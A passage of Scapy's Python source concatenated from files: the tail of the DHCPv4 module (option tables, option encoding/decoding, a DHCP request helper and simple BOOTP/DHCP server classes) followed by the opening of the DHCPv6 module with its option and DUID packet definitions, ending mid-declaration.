"0.0.0.0"), 74: IPField("IRC_server", "0.0.0.0"), 75: IPField("StreetTalk_server", "0.0.0.0"), 76: IPField("StreetTalk_Dir_Assistance", "0.0.0.0"), 77: "user_class", 78: "slp_service_agent", 79: "slp_service_scope", 80: "rapid_commit", 81: "client_FQDN", 82: "relay_agent_information", 85: IPField("nds-server", "0.0.0.0"), 86: StrField("nds-tree-name", ""), 87: StrField("nds-context", ""), 88: "bcms-controller-namesi", 89: IPField("bcms-controller-address", "0.0.0.0"), 91: IntField("client-last-transaction-time", 1000), 92: IPField("associated-ip", "0.0.0.0"), 93: "pxe_client_architecture", 94: "pxe_client_network_interface", 97: "pxe_client_machine_identifier", 98: StrField("uap-servers", ""), 100: StrField("pcode", ""), 101: StrField("tcode", ""), 108: IntField("ipv6-only-preferred", 0), 112: IPField("netinfo-server-address", "0.0.0.0"), 113: StrField("netinfo-server-tag", ""), 114: StrField("captive-portal", ""), 116: ByteField("auto-config", 0), 117: ShortField("name-service-search", 0,), 118: IPField("subnet-selection", "0.0.0.0"), 121: ClasslessFieldListField( "classless_static_routes", [], ClasslessStaticRoutesField("route", 0)), 124: "vendor_class", 125: "vendor_specific_information", 128: IPField("tftp_server_ip_address", "0.0.0.0"), 136: IPField("pana-agent", "0.0.0.0"), 137: "v4-lost", 138: IPField("capwap-ac-v4", "0.0.0.0"), 141: "sip_ua_service_domains", 145: _DHCPByteFieldListField( "forcerenew_nonce_capable", [], ByteEnumField("algorithm", 1, {1: "HMAC-MD5"})), 146: "rdnss-selection", 150: IPField("tftp_server_address", "0.0.0.0"), 159: "v4-portparams", 160: StrField("v4-captive-portal", ""), 161: StrField("mud-url", ""), 208: "pxelinux_magic", 209: "pxelinux_configuration_file", 210: "pxelinux_path_prefix", 211: "pxelinux_reboot_time", 212: "option-6rd", 213: "v4-access-domain", 255: "end" } DHCPRevOptions = {} for k, v in DHCPOptions.items(): if isinstance(v, str): n = v v = None else: n = v.name DHCPRevOptions[n] = (k, v) del n del v del k class RandDHCPOptions(RandField): def __init__(self, size=None, rndstr=None): if size is None: size = RandNumExpo(0.05) self.size = size if rndstr is None: rndstr = RandBin(RandNum(0, 255)) self.rndstr = rndstr self._opts = list(DHCPOptions.values()) self._opts.remove("pad") self._opts.remove("end") def _fix(self): op = [] for k in range(self.size): o = random.choice(self._opts) if isinstance(o, str): op.append((o, self.rndstr * 1)) else: r = o.randval()._fix() if isinstance(r, bytes): r = r[:255] op.append((o.name, r)) return op def __iter__(self): return iter(self._fix()) class DHCPOptionsField(StrField): """ A field that builds and dissects DHCP options. The internal value is a list of tuples with the format [("option_name", ), ...] Where expected names and values can be found using `DHCPOptions` """ islist = 1 def i2repr(self, pkt, x): s = [] for v in x: if isinstance(v, tuple) and len(v) >= 2: if v[0] in DHCPRevOptions and isinstance(DHCPRevOptions[v[0]][1], Field): # noqa: E501 f = DHCPRevOptions[v[0]][1] vv = ",".join(f.i2repr(pkt, val) for val in v[1:]) else: vv = ",".join(repr(val) for val in v[1:]) s.append("%s=%s" % (v[0], vv)) else: s.append(sane(v)) return "[%s]" % (" ".join(s)) def getfield(self, pkt, s): return b"", self.m2i(pkt, s) def m2i(self, pkt, x): opt = [] while x: o = orb(x[0]) if o == 255: opt.append("end") x = x[1:] continue if o == 0: opt.append("pad") x = x[1:] continue if len(x) < 2 or len(x) < orb(x[1]) + 2: opt.append(x) break elif o in DHCPOptions: f = DHCPOptions[o] if isinstance(f, str): olen = orb(x[1]) opt.append((f, x[2:olen + 2])) x = x[olen + 2:] else: olen = orb(x[1]) lval = [f.name] if olen == 0: try: _, val = f.getfield(pkt, b'') except Exception: opt.append(x) break else: lval.append(val) try: left = x[2:olen + 2] while left: left, val = f.getfield(pkt, left) lval.append(val) except Exception: opt.append(x) break else: otuple = tuple(lval) opt.append(otuple) x = x[olen + 2:] else: olen = orb(x[1]) opt.append((o, x[2:olen + 2])) x = x[olen + 2:] return opt def i2m(self, pkt, x): if isinstance(x, str): return x s = b"" for o in x: if isinstance(o, tuple) and len(o) >= 2: name = o[0] lval = o[1:] if isinstance(name, int): onum, oval = name, b"".join(lval) elif name in DHCPRevOptions: onum, f = DHCPRevOptions[name] if f is not None: lval = (f.addfield(pkt, b"", f.any2i(pkt, val)) for val in lval) # noqa: E501 else: lval = (bytes_encode(x) for x in lval) oval = b"".join(lval) else: warning("Unknown field option %s", name) continue s += struct.pack("!BB", onum, len(oval)) s += oval elif (isinstance(o, str) and o in DHCPRevOptions and DHCPRevOptions[o][1] is None): s += chb(DHCPRevOptions[o][0]) elif isinstance(o, int): s += chb(o) + b"\0" elif isinstance(o, (str, bytes)): s += bytes_encode(o) else: warning("Malformed option %s", o) return s def randval(self): return RandDHCPOptions() class DHCP(Packet): name = "DHCP options" fields_desc = [DHCPOptionsField("options", b"")] def mysummary(self): for id in self.options: if isinstance(id, tuple) and id[0] == "message-type": return "DHCP %s" % DHCPTypes.get(id[1], "").capitalize() return super(DHCP, self).mysummary() bind_layers(UDP, BOOTP, dport=67, sport=68) bind_layers(UDP, BOOTP, dport=68, sport=67) bind_bottom_up(UDP, BOOTP, dport=67, sport=67) bind_layers(BOOTP, DHCP, options=b'c\x82Sc') @conf.commands.register def dhcp_request(hw=None, req_type='discover', server_id=None, requested_addr=None, hostname=None, iface=None, **kargs): """ Send a DHCP discover request and return the answer. Usage:: >>> dhcp_request() # send DHCP discover >>> dhcp_request(req_type='request', ... requested_addr='10.53.4.34') # send DHCP request """ if conf.checkIPaddr: warning( "conf.checkIPaddr is enabled, may not be able to match the answer" ) if hw is None: if iface is None: iface = conf.iface hw = get_if_hwaddr(iface) dhcp_options = [ ('message-type', req_type), ('client_id', b'\x01' + mac2str(hw)), ] if requested_addr is not None: dhcp_options.append(('requested_addr', requested_addr)) elif req_type == 'request': warning("DHCP Request without requested_addr will likely be ignored") if server_id is not None: dhcp_options.append(('server_id', server_id)) if hostname is not None: dhcp_options.extend([ ('hostname', hostname), ('client_FQDN', b'\x00\x00\x00' + bytes_encode(hostname)), ]) dhcp_options.extend([ ('vendor_class_id', b'MSFT 5.0'), ('param_req_list', [ 1, 3, 6, 15, 31, 33, 43, 44, 46, 47, 119, 121, 249, 252 ]), 'end' ]) return srp1( Ether(dst="ff:ff:ff:ff:ff:ff", src=hw) / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / BOOTP(chaddr=hw, xid=RandInt(), flags="B") / DHCP(options=dhcp_options), iface=iface, **kargs ) class BOOTP_am(AnsweringMachine): function_name = "bootpd" filter = "udp and port 68 and port 67" def parse_options(self, pool: Union[Net, List[str]] = Net("192.168.1.128/25"), network: str = "192.168.1.0/24", gw: str = "192.168.1.1", nameserver: Union[str, List[str]] = None, domain: Optional[str] = None, renewal_time: int = 60, lease_time: int = 1800, **kwargs): """ :param pool: the range of addresses to distribute. Can be a Net, a list of IPs or a string (always gives the same IP). :param network: the subnet range :param gw: the gateway IP (can be None) :param nameserver: the DNS server IP (by default, same than gw). This can also be a list. :param domain: the domain to advertise (can be None) Other DHCP parameters can be passed as kwargs. See DHCPOptions in dhcp.py. For instance:: dhcpd(pool=Net("10.0.10.0/24"), network="10.0.0.0/8", gw="10.0.10.1", classless_static_routes=["1.2.3.4/32:9.8.7.6"]) Other example with different options:: dhcpd(pool=Net("10.0.10.0/24"), network="10.0.0.0/8", gw="10.0.10.1", nameserver=["8.8.8.8", "4.4.4.4"], domain="DOMAIN.LOCAL") """ self.domain = domain netw, msk = (network.split("/") + ["32"])[:2] msk = itom(int(msk)) self.netmask = ltoa(msk) self.network = ltoa(atol(netw) & msk) self.broadcast = ltoa(atol(self.network) | (0xffffffff & ~msk)) self.gw = gw if nameserver is None: self.nameserver = (gw,) elif isinstance(nameserver, str): self.nameserver = (nameserver,) else: self.nameserver = tuple(nameserver) if isinstance(pool, str): pool = Net(pool) if isinstance(pool, Iterable): pool = [k for k in pool if k not in [gw, self.network, self.broadcast]] pool.reverse() if len(pool) == 1: pool, = pool self.pool = pool self.lease_time = lease_time self.renewal_time = renewal_time self.leases = {} self.kwargs = kwargs def is_request(self, req): if not req.haslayer(BOOTP): return 0 reqb = req.getlayer(BOOTP) if reqb.op != 1: return 0 return 1 def print_reply(self, _, reply): print("Reply %s to %s" % (reply.getlayer(IP).dst, reply.dst)) def make_reply(self, req): mac = req[Ether].src if isinstance(self.pool, list): if mac not in self.leases: self.leases[mac] = self.pool.pop() ip = self.leases[mac] else: ip = self.pool repb = req.getlayer(BOOTP).copy() repb.op = "BOOTREPLY" repb.yiaddr = ip repb.siaddr = self.gw repb.ciaddr = self.gw repb.giaddr = self.gw del repb.payload rep = Ether(dst=mac) / IP(dst=ip) / UDP(sport=req.dport, dport=req.sport) / repb # noqa: E501 return rep class DHCP_am(BOOTP_am): function_name = "dhcpd" def make_reply(self, req): resp = BOOTP_am.make_reply(self, req) if DHCP in req: dhcp_options = [ (op[0], {1: 2, 3: 5}.get(op[1], op[1])) for op in req[DHCP].options if isinstance(op, tuple) and op[0] == "message-type" ] dhcp_options += [ x for x in [ ("server_id", self.gw), ("domain", self.domain), ("router", self.gw), ("name_server", *self.nameserver), ("broadcast_address", self.broadcast), ("subnet_mask", self.netmask), ("renewal_time", self.renewal_time), ("lease_time", self.lease_time), ] if x[1] is not None ] if self.kwargs: dhcp_options += self.kwargs.items() dhcp_options.append("end") resp /= DHCP(options=dhcp_options) return resp ================================================ FILE: scapy/layers/dhcp6.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Philippe Biondi # Copyright (C) 2005 Guillaume Valadon # Arnaud Ebalard """ DHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315,8415] """ import socket import struct import time from scapy.ansmachine import AnsweringMachine from scapy.arch import get_if_hwaddr, in6_getifaddr from scapy.config import conf from scapy.data import EPOCH, ETHER_ANY from scapy.compat import raw, orb from scapy.error import warning from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \ FlagsField, IntEnumField, IntField, MACField, \ PacketListField, ShortEnumField, ShortField, StrField, StrFixedLenField, \ StrLenField, UTCTimeField, X3BytesField, XIntField, XShortEnumField, \ PacketLenField, UUIDField, FieldListField from scapy.data import IANA_ENTERPRISE_NUMBERS from scapy.layers.dns import DNSStrField from scapy.layers.inet import UDP from scapy.layers.inet6 import DomainNameListField, IP6Field, IP6ListField, \ IPv6 from scapy.packet import Packet, bind_bottom_up from scapy.pton_ntop import inet_pton from scapy.sendrecv import send from scapy.themes import Color from scapy.utils6 import in6_addrtovendor, in6_islladdr ############################################################################# # Helpers ## ############################################################################# def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) dhcp6_cls_by_type = {1: "DHCP6_Solicit", 2: "DHCP6_Advertise", 3: "DHCP6_Request", 4: "DHCP6_Confirm", 5: "DHCP6_Renew", 6: "DHCP6_Rebind", 7: "DHCP6_Reply", 8: "DHCP6_Release", 9: "DHCP6_Decline", 10: "DHCP6_Reconf", 11: "DHCP6_InfoRequest", 12: "DHCP6_RelayForward", 13: "DHCP6_RelayReply", 36: "DHCP6_AddrRegInform", 37: "DHCP6_AddrRegReply", } def _dhcp6_dispatcher(x, *args, **kargs): cls = conf.raw_layer if len(x) >= 2: cls = get_cls(dhcp6_cls_by_type.get(orb(x[0]), "Raw"), conf.raw_layer) return cls(x, *args, **kargs) ############################################################################# ############################################################################# # DHCPv6 # ############################################################################# ############################################################################# All_DHCP_Relay_Agents_and_Servers = "ff02::1:2" All_DHCP_Servers = "ff05::1:3" # Site-Local scope : deprecated by 3879 dhcp6opts = {1: "CLIENTID", 2: "SERVERID", 3: "IA_NA", 4: "IA_TA", 5: "IAADDR", 6: "ORO", 7: "PREFERENCE", 8: "ELAPSED_TIME", 9: "RELAY_MSG", 11: "AUTH", 12: "UNICAST", 13: "STATUS_CODE", 14: "RAPID_COMMIT", 15: "USER_CLASS", 16: "VENDOR_CLASS", 17: "VENDOR_OPTS", 18: "INTERFACE_ID", 19: "RECONF_MSG", 20: "RECONF_ACCEPT", 21: "SIP Servers Domain Name List", # RFC3319 22: "SIP Servers IPv6 Address List", # RFC3319 23: "DNS Recursive Name Server Option", # RFC3646 24: "Domain Search List option", # RFC3646 25: "OPTION_IA_PD", # RFC3633 26: "OPTION_IAPREFIX", # RFC3633 27: "OPTION_NIS_SERVERS", # RFC3898 28: "OPTION_NISP_SERVERS", # RFC3898 29: "OPTION_NIS_DOMAIN_NAME", # RFC3898 30: "OPTION_NISP_DOMAIN_NAME", # RFC3898 31: "OPTION_SNTP_SERVERS", # RFC4075 32: "OPTION_INFORMATION_REFRESH_TIME", # RFC4242 33: "OPTION_BCMCS_SERVER_D", # RFC4280 34: "OPTION_BCMCS_SERVER_A", # RFC4280 36: "OPTION_GEOCONF_CIVIC", # RFC-ietf-geopriv-dhcp-civil-09.txt 37: "OPTION_REMOTE_ID", # RFC4649 38: "OPTION_SUBSCRIBER_ID", # RFC4580 39: "OPTION_CLIENT_FQDN", # RFC4704 40: "OPTION_PANA_AGENT", # RFC5192 41: "OPTION_NEW_POSIX_TIMEZONE", # RFC4833 42: "OPTION_NEW_TZDB_TIMEZONE", # RFC4833 48: "OPTION_LQ_CLIENT_LINK", # RFC5007 56: "OPTION_NTP_SERVER", # RFC5908 59: "OPT_BOOTFILE_URL", # RFC5970 60: "OPT_BOOTFILE_PARAM", # RFC5970 61: "OPTION_CLIENT_ARCH_TYPE", # RFC5970 62: "OPTION_NII", # RFC5970 65: "OPTION_ERP_LOCAL_DOMAIN_NAME", # RFC6440 66: "OPTION_RELAY_SUPPLIED_OPTIONS", # RFC6422 68: "OPTION_VSS", # RFC6607 79: "OPTION_CLIENT_LINKLAYER_ADDR", # RFC6939 103: "OPTION_CAPTIVE_PORTAL", # RFC8910 112: "OPTION_MUD_URL", # RFC8520 148: "OPTION_ADDR_REG_ENABLE", # RFC9686 } dhcp6opts_by_code = {1: "DHCP6OptClientId", 2: "DHCP6OptServerId", 3: "DHCP6OptIA_NA", 4: "DHCP6OptIA_TA", 5: "DHCP6OptIAAddress", 6: "DHCP6OptOptReq", 7: "DHCP6OptPref", 8: "DHCP6OptElapsedTime", 9: "DHCP6OptRelayMsg", 11: "DHCP6OptAuth", 12: "DHCP6OptServerUnicast", 13: "DHCP6OptStatusCode", 14: "DHCP6OptRapidCommit", 15: "DHCP6OptUserClass", 16: "DHCP6OptVendorClass", 17: "DHCP6OptVendorSpecificInfo", 18: "DHCP6OptIfaceId", 19: "DHCP6OptReconfMsg", 20: "DHCP6OptReconfAccept", 21: "DHCP6OptSIPDomains", # RFC3319 22: "DHCP6OptSIPServers", # RFC3319 23: "DHCP6OptDNSServers", # RFC3646 24: "DHCP6OptDNSDomains", # RFC3646 25: "DHCP6OptIA_PD", # RFC3633 26: "DHCP6OptIAPrefix", # RFC3633 27: "DHCP6OptNISServers", # RFC3898 28: "DHCP6OptNISPServers", # RFC3898 29: "DHCP6OptNISDomain", # RFC3898 30: "DHCP6OptNISPDomain", # RFC3898 31: "DHCP6OptSNTPServers", # RFC4075 32: "DHCP6OptInfoRefreshTime", # RFC4242 33: "DHCP6OptBCMCSDomains", # RFC4280 34: "DHCP6OptBCMCSServers", # RFC4280 # 36: "DHCP6OptGeoConf", #RFC-ietf-geopriv-dhcp-civil-09.txt # noqa: E501 37: "DHCP6OptRemoteID", # RFC4649 38: "DHCP6OptSubscriberID", # RFC4580 39: "DHCP6OptClientFQDN", # RFC4704 40: "DHCP6OptPanaAuthAgent", # RFC-ietf-dhc-paa-option-05.txt # noqa: E501 41: "DHCP6OptNewPOSIXTimeZone", # RFC4833 42: "DHCP6OptNewTZDBTimeZone", # RFC4833 43: "DHCP6OptRelayAgentERO", # RFC4994 # 44: "DHCP6OptLQQuery", #RFC5007 # 45: "DHCP6OptLQClientData", #RFC5007 # 46: "DHCP6OptLQClientTime", #RFC5007 # 47: "DHCP6OptLQRelayData", #RFC5007 48: "DHCP6OptLQClientLink", # RFC5007 56: "DHCP6OptNTPServer", # RFC5908 59: "DHCP6OptBootFileUrl", # RFC5790 60: "DHCP6OptBootFileParam", # RFC5970 61: "DHCP6OptClientArchType", # RFC5970 62: "DHCP6OptClientNetworkInterId", # RFC5970 65: "DHCP6OptERPDomain", # RFC6440 66: "DHCP6OptRelaySuppliedOpt", # RFC6422 68: "DHCP6OptVSS", # RFC6607 79: "DHCP6OptClientLinkLayerAddr", # RFC6939 103: "DHCP6OptCaptivePortal", # RFC8910 112: "DHCP6OptMudUrl", # RFC8520 148: "DHCP6OptAddrRegEnable", # RFC9686 } # sect 7.3 RFC 8415 : DHCP6 Messages types # also RFC 9686 dhcp6types = {1: "SOLICIT", 2: "ADVERTISE", 3: "REQUEST", 4: "CONFIRM", 5: "RENEW", 6: "REBIND", 7: "REPLY", 8: "RELEASE", 9: "DECLINE", 10: "RECONFIGURE", 11: "INFORMATION-REQUEST", 12: "RELAY-FORW", 13: "RELAY-REPL", 36: "ADDR-REG-INFORM", 37: "ADDR-REG-REPLY", } ##################################################################### # DHCPv6 DUID related stuff # ##################################################################### duidtypes = {1: "Link-layer address plus time", 2: "Vendor-assigned unique ID based on Enterprise Number", 3: "Link-layer Address", 4: "UUID"} # DUID hardware types - RFC 826 - Extracted from # http://www.iana.org/assignments/arp-parameters on 31/10/06 # We should add the length of every kind of address. duidhwtypes = {0: "NET/ROM pseudo", # Not referenced by IANA 1: "Ethernet (10Mb)", 2: "Experimental Ethernet (3Mb)", 3: "Amateur Radio AX.25", 4: "Proteon ProNET Token Ring", 5: "Chaos", 6: "IEEE 802 Networks", 7: "ARCNET", 8: "Hyperchannel", 9: "Lanstar", 10: "Autonet Short Address", 11: "LocalTalk", 12: "LocalNet (IBM PCNet or SYTEK LocalNET)", 13: "Ultra link", 14: "SMDS", 15: "Frame Relay", 16: "Asynchronous Transmission Mode (ATM)", 17: "HDLC", 18: "Fibre Channel", 19: "Asynchronous Transmission Mode (ATM)", 20: "Serial Line", 21: "Asynchronous Transmission Mode (ATM)", 22: "MIL-STD-188-220", 23: "Metricom", 24: "IEEE 1394.1995", 25: "MAPOS", 26: "Twinaxial", 27: "EUI-64", 28: "HIPARP", 29: "IP and ARP over ISO 7816-3", 30: "ARPSec", 31: "IPsec tunnel", 32: "InfiniBand (TM)", 33: "TIA-102 Project 25 Common Air Interface (CAI)"} class _UTCTimeField(UTCTimeField): def __init__(self, *args, **kargs): epoch_2000 = (2000, 1, 1, 0, 0, 0, 5, 1, 0) # required Epoch UTCTimeField.__init__(self, epoch=epoch_2000, *args, **kargs) class _LLAddrField(MACField): pass # XXX We only support Ethernet addresses at the moment. _LLAddrField # will be modified when needed. Ask us. --arno class DUID_LLT(Packet): # sect 9.2 RFC 3315 name = "DUID - Link-layer address plus time" fields_desc = [ShortEnumField("type", 1, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), _UTCTimeField("timeval", 0), # i.e. 01 Jan 2000 _LLAddrField("lladdr", ETHER_ANY)] class DUID_EN(Packet): # sect 9.3 RFC 3315 name = "DUID - Assigned by Vendor Based on Enterprise Number" fields_desc = [ShortEnumField("type", 2, duidtypes), IntEnumField("enterprisenum", 311, IANA_ENTERPRISE_NUMBERS), StrField("id", "")] class DUID_LL(Packet): # sect 9.4 RFC 3315 name = "DUID - Based on Link-layer Address" fields_desc = [ShortEnumField("type", 3, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), _LLAddrField("lladdr", ETHER_ANY)] class DUID_UUID(Packet): # RFC 6355 name = "DUID - Based on UUID" fields_desc = [ShortEnumField("type", 4, duidtypes), UUIDField("uuid", None, uuid_fmt=UUIDField.FORMAT_BE)] duid_cls = {1: "DUID_LLT", 2: "DUID_EN", 3: "DUID_LL", 4: "DUID_UUID"} ##################################################################### # DHCPv6 Options classes # ##################################################################### class _DHCP6OptGuessPayload(Packet): @staticmethod def _just_guess_payload_class(cls, payload): # try to guess what option is in the payload if len(payload) <= 2: return conf.raw_layer opt = struct.unpack("!H", payload[:2])[0] clsname = dhcp6opts_by_code.get(opt, None) if clsname is None: return cls return get_cls(clsname, cls) def guess_payload_class(self, payload): # this method is used in case of all derived classes # from _DHCP6OptGuessPayload in this file return _DHCP6OptGuessPayload._just_guess_payload_class( DHCP6OptUnknown, payload ) class _DHCP6OptGuessPayloadElt(_DHCP6OptGuessPayload): """ Same than _DHCP6OptGuessPayload but made for lists in case of list of different suboptions e.g. in ianaopts in DHCP6OptIA_NA """ @classmethod def dispatch_hook(cls, payload=None, *args, **kargs): return cls._just_guess_payload_class(conf.raw_layer, payload) def extract_padding(self, s): return b"", s class DHCP6OptUnknown(_DHCP6OptGuessPayload): # A generic DHCPv6 Option name = "Unknown DHCPv6 Option" fields_desc = [ShortEnumField("optcode", 0, dhcp6opts), FieldLenField("optlen", None, length_of="data", fmt="!H"), StrLenField("data", "", length_from=lambda pkt: pkt.optlen)] def _duid_dispatcher(x): cls = conf.raw_layer if len(x) > 4: o = struct.unpack("!H", x[:2])[0] cls = get_cls(duid_cls.get(o, conf.raw_layer), conf.raw_layer) return cls(x) class DHCP6OptClientId(_DHCP6OptGuessPayload): # RFC 8415 sect 21.2 name = "DHCP6 Client Identifier Option" fields_desc = [ShortEnumField("optcode", 1, dhcp6opts), FieldLenField("optlen", None, length_of="duid", fmt="!H"), PacketLenField("duid", "", _duid_dispatcher, length_from=lambda pkt: pkt.optlen)] class DHCP6OptServerId(DHCP6OptClientId): # RFC 8415 sect 21.3 name = "DHCP6 Server Identifier Option" optcode = 2 # Should be encapsulated in the option field of IA_NA or IA_TA options # Can only appear at that location. class DHCP6OptIAAddress(_DHCP6OptGuessPayload): # RFC 8415 sect 21.6 name = "DHCP6 IA Address Option (IA_TA or IA_NA suboption)" fields_desc = [ShortEnumField("optcode", 5, dhcp6opts), FieldLenField("optlen", None, length_of="iaaddropts", fmt="!H", adjust=lambda pkt, x: x + 24), IP6Field("addr", "::"), IntEnumField("preflft", 0, {0xffffffff: "infinity"}), IntEnumField("validlft", 0, {0xffffffff: "infinity"}), # last field IAaddr-options is not defined in the # reference document. We copy what wireshark does: read # more dhcp6 options and excpect failures PacketListField("iaaddropts", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 24)] def guess_payload_class(self, payload): return conf.padding_layer class DHCP6OptIA_NA(_DHCP6OptGuessPayload): # RFC 8415 sect 21.4 name = "DHCP6 Identity Association for Non-temporary Addresses Option" fields_desc = [ShortEnumField("optcode", 3, dhcp6opts), FieldLenField("optlen", None, length_of="ianaopts", fmt="!H", adjust=lambda pkt, x: x + 12), XIntField("iaid", None), IntField("T1", None), IntField("T2", None), PacketListField("ianaopts", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 12)] class DHCP6OptIA_TA(_DHCP6OptGuessPayload): # RFC 8415 sect 21.5 name = "DHCP6 Identity Association for Temporary Addresses Option" fields_desc = [ShortEnumField("optcode", 4, dhcp6opts), FieldLenField("optlen", None, length_of="iataopts", fmt="!H", adjust=lambda pkt, x: x + 4), XIntField("iaid", None), PacketListField("iataopts", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 4)] # DHCPv6 Option Request Option # class _OptReqListField(StrLenField): islist = 1 def i2h(self, pkt, x): if not x: return [] return x def i2len(self, pkt, x): return 2 * len(x) def any2i(self, pkt, x): return x def i2repr(self, pkt, x): s = [] for y in self.i2h(pkt, x): if y in dhcp6opts: s.append(dhcp6opts[y]) else: s.append("%d" % y) return "[%s]" % ", ".join(s) def m2i(self, pkt, x): r = [] while len(x) != 0: if len(x) < 2: warning("Odd length for requested option field. Rejecting last byte") # noqa: E501 return r r.append(struct.unpack("!H", x[:2])[0]) x = x[2:] return r def i2m(self, pkt, x): return b"".join(struct.pack('!H', y) for y in x) # A client may include an ORO in a solicit, Request, Renew, Rebind, # Confirm or Information-request class DHCP6OptOptReq(_DHCP6OptGuessPayload): # RFC 8415 sect 21.7 name = "DHCP6 Option Request Option" fields_desc = [ShortEnumField("optcode", 6, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), # noqa: E501 _OptReqListField("reqopts", [23, 24], length_from=lambda pkt: pkt.optlen)] # DHCPv6 Preference Option # # emise par un serveur pour affecter le choix fait par le client. Dans # les messages Advertise, a priori class DHCP6OptPref(_DHCP6OptGuessPayload): # RFC 8415 sect 21.8 name = "DHCP6 Preference Option" fields_desc = [ShortEnumField("optcode", 7, dhcp6opts), ShortField("optlen", 1), ByteField("prefval", 255)] # DHCPv6 Elapsed Time Option # class _ElapsedTimeField(ShortField): def i2repr(self, pkt, x): if x == 0xffff: return "infinity (0xffff)" return "%.2f sec" % (self.i2h(pkt, x) / 100.) class DHCP6OptElapsedTime(_DHCP6OptGuessPayload): # RFC 8415 sect 21.9 name = "DHCP6 Elapsed Time Option" fields_desc = [ShortEnumField("optcode", 8, dhcp6opts), ShortField("optlen", 2), _ElapsedTimeField("elapsedtime", 0)] # DHCPv6 Authentication Option # # The following fields are set in an Authentication option for the # Reconfigure Key Authentication Protocol: # # protocol 3 # # algorithm 1 # # RDM 0 # # The format of the Authentication information for the Reconfigure Key # Authentication Protocol is: # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Type | Value (128 bits) | # +-+-+-+-+-+-+-+-+ | # . . # . . # . +-+-+-+-+-+-+-+-+ # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Type Type of data in Value field carried in this option: # # 1 Reconfigure Key value (used in Reply message). # # 2 HMAC-MD5 digest of the message (used in Reconfigure # message). # # Value Data as defined by field. # https://www.iana.org/assignments/auth-namespaces _dhcp6_auth_proto = { 0: "configuration token", 1: "delayed authentication", 2: "delayed authentication (obsolete)", 3: "reconfigure key", } _dhcp6_auth_alg = { 0: "configuration token", 1: "HMAC-MD5", } _dhcp6_auth_rdm = { 0: "use of a monotonically increasing value" } class DHCP6OptAuth(_DHCP6OptGuessPayload): # RFC 8415 sect 21.11 name = "DHCP6 Option - Authentication" fields_desc = [ShortEnumField("optcode", 11, dhcp6opts), FieldLenField("optlen", None, length_of="authinfo", fmt="!H", adjust=lambda pkt, x: x + 11), ByteEnumField("proto", 3, _dhcp6_auth_proto), ByteEnumField("alg", 1, _dhcp6_auth_alg), ByteEnumField("rdm", 0, _dhcp6_auth_rdm), StrFixedLenField("replay", b"\x00" * 8, 8), StrLenField("authinfo", "", length_from=lambda pkt: pkt.optlen - 11)] # DHCPv6 Server Unicast Option # class _SrvAddrField(IP6Field): def i2h(self, pkt, x): if x is None: return "::" return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, self.i2h(pkt, x)) class DHCP6OptServerUnicast(_DHCP6OptGuessPayload): # RFC 8415 sect 21.12 name = "DHCP6 Server Unicast Option" fields_desc = [ShortEnumField("optcode", 12, dhcp6opts), ShortField("optlen", 16), _SrvAddrField("srvaddr", None)] # DHCPv6 Status Code Option # dhcp6statuscodes = {0: "Success", # RFC 8415 sect 21.13 1: "UnspecFail", 2: "NoAddrsAvail", 3: "NoBinding", 4: "NotOnLink", 5: "UseMulticast", 6: "NoPrefixAvail"} # From RFC3633 class DHCP6OptStatusCode(_DHCP6OptGuessPayload): # RFC 8415 sect 21.13 name = "DHCP6 Status Code Option" fields_desc = [ShortEnumField("optcode", 13, dhcp6opts), FieldLenField("optlen", None, length_of="statusmsg", fmt="!H", adjust=lambda pkt, x:x + 2), ShortEnumField("statuscode", None, dhcp6statuscodes), StrLenField("statusmsg", "", length_from=lambda pkt: pkt.optlen - 2)] # DHCPv6 Rapid Commit Option # class DHCP6OptRapidCommit(_DHCP6OptGuessPayload): # RFC 8415 sect 21.14 name = "DHCP6 Rapid Commit Option" fields_desc = [ShortEnumField("optcode", 14, dhcp6opts), ShortField("optlen", 0)] # DHCPv6 User Class Option # class _UserClassDataField(PacketListField): def i2len(self, pkt, z): if z is None or z == []: return 0 return sum(len(raw(x)) for x in z) def getfield(self, pkt, s): tmp_len = self.length_from(pkt) lst = [] remain, payl = s[:tmp_len], s[tmp_len:] while len(remain) > 0: p = self.m2i(pkt, remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del pad.underlayer.payload else: remain = "" lst.append(p) return payl, lst class USER_CLASS_DATA(Packet): name = "user class data" fields_desc = [FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt: pkt.len)] def guess_payload_class(self, payload): return conf.padding_layer class DHCP6OptUserClass(_DHCP6OptGuessPayload): # RFC 8415 sect 21.15 name = "DHCP6 User Class Option" fields_desc = [ShortEnumField("optcode", 15, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="userclassdata"), _UserClassDataField("userclassdata", [], USER_CLASS_DATA, length_from=lambda pkt: pkt.optlen)] # DHCPv6 Vendor Class Option # class _VendorClassDataField(_UserClassDataField): pass class VENDOR_CLASS_DATA(USER_CLASS_DATA): name = "vendor class data" class DHCP6OptVendorClass(_DHCP6OptGuessPayload): # RFC 8415 sect 21.16 name = "DHCP6 Vendor Class Option" fields_desc = [ShortEnumField("optcode", 16, dhcp6opts), FieldLenField("optlen", None, length_of="vcdata", fmt="!H", adjust=lambda pkt, x: x + 4), IntEnumField("enterprisenum", None, IANA_ENTERPRISE_NUMBERS), _VendorClassDataField("vcdata", [], VENDOR_CLASS_DATA, length_from=lambda pkt: pkt.optlen - 4)] # noqa: E501 # DHCPv6 Vendor-Specific Information Option # class 